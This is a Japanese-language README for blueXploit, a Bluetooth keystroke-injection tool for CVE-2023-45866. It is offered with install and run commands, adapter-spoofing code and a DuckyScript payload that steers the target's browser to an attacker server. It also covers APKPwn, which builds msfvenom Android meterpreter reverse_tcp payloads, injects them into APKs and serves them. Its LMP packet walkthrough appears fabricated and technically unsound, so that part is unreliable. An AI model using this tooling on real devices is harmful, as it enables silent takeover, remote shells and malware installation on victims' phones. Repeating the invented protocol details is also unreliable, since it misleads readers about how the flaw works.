
blueXploit — Updated!
重大なBluetooth脆弱性に基づくエクスプロイト (CVE-2023-45866, CVE-2024-21306)
blueXploit

- blueXploit は、Marc Newlin 氏が発見した Bluetooth キーストロークインジェクションの脆弱性 CVE-2023-45866 を再現する私自身の概念実証です。Bluetooth プロトコルの欠陥を悪用して、ペアリングなしでターゲットデバイスにキーストロークを注入し、より複雑な攻撃への扉を開きます。
帰属. この脆弱性と元のエクスプロイトは Marc Newlin 氏の作品です (hi_my_name_is_keyboard) — 私は発見を主張するものではありません。 このリポジトリは脆弱性を理解し文書化するために構築された再現であり、その上に blueXploit は DuckyScript 形式のペイロードランナー、再接続/再試行メカニズム、およびオプションの Android APK 注入ヘルパーを追加します。ここにあるものはすべて教育および研究目的です。
脆弱性の仕組み
これらの重大な脆弱性 (CVE-2023-45866、CVE-2024-21306) により、攻撃者はユーザーの確認なしにキーストロークを注入し、ペアリング要求を受け入れることができます。これは複数のオペレーティングシステムのセキュリティに深刻な影響を与えます。
影響を受けるシステム
- Android: 4.2 から 14 (11–14 は 2023-12-05 のパッチが適用されていない場合)
- Linux: BlueZ パッチが必要
- macOS: 12 から 14.2 (部分的な修正)
- iOS: 16 (脆弱)、iOS 17.2 で修正済み
- Windows: 2024 年 1 月の Patch Tuesday で修正済み
影響
- この脆弱性により、Bluetooth ペアリングを受け入れなくてもキーストロークを注入してデバイスをリモート制御でき、接続を強制してキーコマンドを実行できます。
攻撃例
- リモートコマンド実行: 注入されたキーストロークによる脆弱なデバイスの制御。攻撃ベクトルは、 シェルの取得から悪意のあるアプリケーションのインストールまで多岐にわたります。
- サービス拒否 (DoS) 攻撃: ペアリング要求でデバイスをフラッディングします。
緩和策
- デバイスを最新のシステムパッチで更新する。
- Bluetooth を使用しないときはオフにする (これにより、この脆弱性に対するエクスプロイトの実行を防ぎます)。
- 未知のデバイスとのペアリングを避ける。
blueXploit - 使用方法とデモ
-
Marc Newlin 氏の元のエクスプロイトに基づいています。
-
依存関係のインストール
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
APKPwn + blueXploit の使用
blueXploit には Android デバイス上の脆弱性を悪用するためのツールが含まれており、2 つの主要コンポーネントと、injector フォルダにある apkpwn_injector という追加プログラムが用意されています。
APKPwn の機能
- msfvenom を使用した android/meterpreter/reverse_tcp ペイロードの作成を自動化します。
- それらのペイロードを apk_clean フォルダ内の既存の
.apkアプリケーションに注入します。 - 生成された悪意のあるアプリケーションを提供するローカルサーバーをセットアップします。
これらの機能により、管理された環境や侵入テストにおいて、効率的で簡素化された攻撃フローが実現します。

cd injector
python3 apkpwn_injector.py
duckypayload の作成または編集
blueXploit によって実行されるキーコマンドは、/injector/payloads/ フォルダから .txt 形式で読み込まれ、シンプルでわかりやすい構文になっています。
duckypayload の例
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
IP アドレスをサーバーがホストされているアドレスに変更してください。
デバイスの検出と列挙
bluetoothctl
Bluetooth デバイスのスキャン
scan on
実行
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
その後、必要な、事前に設定されたペイロードを選択します。
デモ
完全なデモはこのビデオにあります。
使用したハードウェア
- Raspberry Pi 4
- Kali Linux ARM64
CVE-2023-45866 の説明
この脆弱性は Bluetooth プロトコルの低レベルで悪用され、主に HID プロファイルと L2CAP プロトコルを操作して、被害者デバイスにキーストロークを注入します。
1. Bluetooth プロトコルの低レベル
Bluetooth スタックには、Link Manager Protocol (LMP)、Host Controller Interface (HCI)、L2CAP などの複数の層が含まれます。この攻撃では主に後者の 2 つが使用されます。
-
HCI: アダプタの設定を操作して、正当な HID デバイスとして認識させます。
-
L2CAP: デバイス間のデータ多重化を担当し、HID 通信にはチャネル 17 (HID Control) とチャネル 19 (HID Interrupt) が使用され、これらを悪用してキーシーケンスを送信できます。
CVE-2023-45866 の悪用
CVE-2023-45866 は Link Manager Protocol (LMP) の脆弱性であり、「強制ペアリング」攻撃によって悪用されます。技術的には以下のように実行されます。
- LMP はペアリング要求とリンク設定を管理します。
- 不正形式または認証されていない LMP パケットを送信してペアリングを強制します。例:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
このデータフレームでは:
0x01: LMP ペアリング要求0x01: LMP 認証要求 (PIN)0x00 0x00 0x00 0x00: 弱い PIN 情報、通常は 0000
ここでエクスプロイトは、このパケットに対する設定と認証の欠如を利用し、結果的に以下を返します。
LMP Accept: 0x02 0x00 0x00 0x00 0x00
このデータフレームでは:
0x02: LMP ペアリング要求受け入れ0x00 0x00 0x00 0x00: 不正形式の PIN 情報が返される
キーが正しく検証されない場合、実際のペアリングなしで接続が確立されるため、次のように強制ペアリング LMP パケットを送信できます。
LMP Forced Pairing: 0x03 0x01 0x0000
その後、以前に漏洩したキー (「0000」など) を使用して認証を強制し、暗号化された通信チャネルを確立し、適切な検証プロセスを経ずにデバイスをペアリングできます。
これにより、ユーザーに知られることなく、ペアリングウィンドウや通知すら表示されずにペアリングが作成されます。
この CVE の欠陥は、特定のデバイスが LMP 認証要求を適切に検証しないか、古いキーを再利用してしまうことにあります。
デバイスとのペアリングが確立されれば、あとは簡単です。blueXploit.py では、アダプタとデバイスが識別データを偽装し、次のようなコマンドが実行されます。
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
blueXploit コード
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
HID データの注入
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
HID バイトフレームの説明:
a10100001e000000000000
a1: HID レポートタイプを指定01: 受信データに対する HID インターフェースの使用を指定00: キープレスまたはキーリリース00 1e 00 00 00 00: 16 進数値。1eは文字aに対応
その後、ACK を受信して送信が正常に受信されたことを確認します。
- blueXploit は、通信を安定かつ損失なく維持するための再接続およびデータ再送メカニズムを統合しているため、切断が発生した場合、プログラムは再接続し、以前の位置/文字から HID データを送信し続けます。
警告: このリポジトリの内容およびここで説明する技術は、教育および研究目的に厳密に限定されています。侵入および悪用ツールは、明示的な許可を得たシステムでのみ使用してください。所有していないシステムでこれらの技術を無断で使用することは、多くの管轄区域で禁止されており違法です。このコンテンツの不適切な使用によって生じた損害や悪影響は、すべてユーザーの単独責任です。
ユーザーは、テストラボなどの管理された環境で作業し、情報セキュリティおよび倫理的ハッキングに関連するすべての現地の法律と規制を遵守することをお勧めします。ハッピーハッキング :D